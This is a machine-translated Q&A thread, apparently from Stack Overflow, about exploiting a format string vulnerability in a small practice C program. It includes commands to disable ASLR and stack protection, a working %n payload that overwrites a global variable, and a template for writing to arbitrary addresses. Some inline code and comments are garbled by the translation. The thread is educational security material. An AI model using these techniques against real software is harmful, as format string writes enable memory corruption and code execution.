C 如何使用格式字符串攻击
假设我有以下代码:C 如何使用格式字符串攻击,c,string,security,printf,format-string,C,String,Security,Printf,Format String,假设我有以下代码: #include <stdio.h> #include <stdlib.h> #include <fcntl.h> int num1 = 0; int main(int argc, char **argv){ double num2; int *ptr = &num1; printf(argv[1]); if (num1== 2527){ printf("Well done");
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int num1 = 0;
int main(int argc, char **argv){
double num2;
int *ptr = &num1;
printf(argv[1]);
if (num1== 2527){
printf("Well done");
}
if(num2 == 4.56)
printf("You are a format string expert");
return 0;
}
然后
./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n
我就是搞不懂,
请帮我完成这件事
其要点是通过prinft函数将字符串利用到正在运行的程序中。我需要得到两个“做得好”和“你是一个格式字符串专家”打印。
在我的例子中,通过Linux终端/shell。
正如Hustmphrr所注意到的:这确实应该是白色黑客——软件安全性首先,我建议您阅读《黑客:剥削的艺术》一书。非常好 现在,我试图解释如何利用您的程序。我假设您知道一些关于格式化字符串利用的基础知识,所以我不必从头开始。 但是,禁用ASLR并在没有堆栈保护的情况下编译可执行文件很重要
# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c
我稍微修改了您的程序,因此更容易理解漏洞的工作原理:
#include <stdio.h>
int num1 = 0xdead;
int main(int argc, char **argv){
int num2 = 0xbeef;
int *ptr = &num1;
printf(argv[1]);
if (num1 == 0xabc){
printf("Well done");
}
if(num2 == 0xdef)
printf("You are a format string expert");
printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
return 0;
}
输出:
0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]
我们可以看到第9个元素的值为0x601040
。这与调试消息中的值相同num1:0xdead[0x601040]
。现在我们知道0x601040
是指向变量num1的指针,它位于堆栈上。要更改该值(写入内存),我们可以将%n
格式说明符与直接参数访问%9$n
结合使用,以写入存储在第9个堆栈位置的地址
要访问完成得很好消息,我们只需将0xabc
值写入标准输出,并使用%n
将该数字写入内存:
@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n
我使用python生成该输出。
现在程序打印“干得好”
变量num2
如果我们仔细查看输出,就会发现第8个元素的值为beef
。这是我们的变量num2
。我仍然不知道如何利用num2
,但我试图从理论上解释如何利用。
我们希望在堆栈上放置任意内存地址。此地址应该是指向num2的地址(0x7fffffffde84
)。之后,我们可以使用%n
参数写入该地址。要在堆栈上放置地址,可以使用格式字符串
@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`
问题是我们必须找到这个格式字符串在堆栈上的位置
@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`
“A”和“B”只是填充,在输出中查找地址也更容易。
该漏洞看起来类似于num1漏洞利用方式:
@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n
问题:在我们的场景中,
num2
的地址是0x7fffffde84
(即0x00007fffffde84
)。无法写入该地址,因为0x00是C字符串终止符。因此,我们无法将地址放入格式字符串中 甚至是编译<代码>麻木==>什么<代码>printf(argv[1])代码>==>如果NULL
?如果(numb=4.56)
有输入错误怎么办。您需要==
@Bathsheba在这之前,numb
应该被定义[确定,至少,声明]。否则,就是。@Bathsheba你是对的,没有注意到。我编辑了这个问题:)你到底想做什么?如果我写“/Program python-c”print('A'*0x9df)”%7\$n,这对“做得好”是有效的。但是printf中的等价物是什么(不使用python)。为什么它会打印2529个“A”呢?(对于0x537,它打印1024个'A')代码python-c“打印('A'*n)
将n
“A”字符打印到标准输出。在您的情况下python-c“打印('A'*0x9df)
打印0x9df(十六进制)=2527(十二月)“A”s。您必须这样做,才能使用格式字符串说明符%n
写入想要的数字。我不是bash编程专家,但您可以这样做printf'A%.0s'{1..2527}&&echo%9\$n
。谢谢,我将等待有关浮点部分的另一个答案。有趣的是,他是如何写进内存中的任意地址(直接到一个特定的地址)的——它在python上也能工作吗?如果是这样的话,如何输入一个数字而不在%n之前使用2527个伪字母?是的,它也适用于python。不打印2572个字符就无法利用此漏洞,因为%n
就是这样工作的。您可以将“A”字符替换为“.”或其他字符,但必须打印它。
@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`
@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n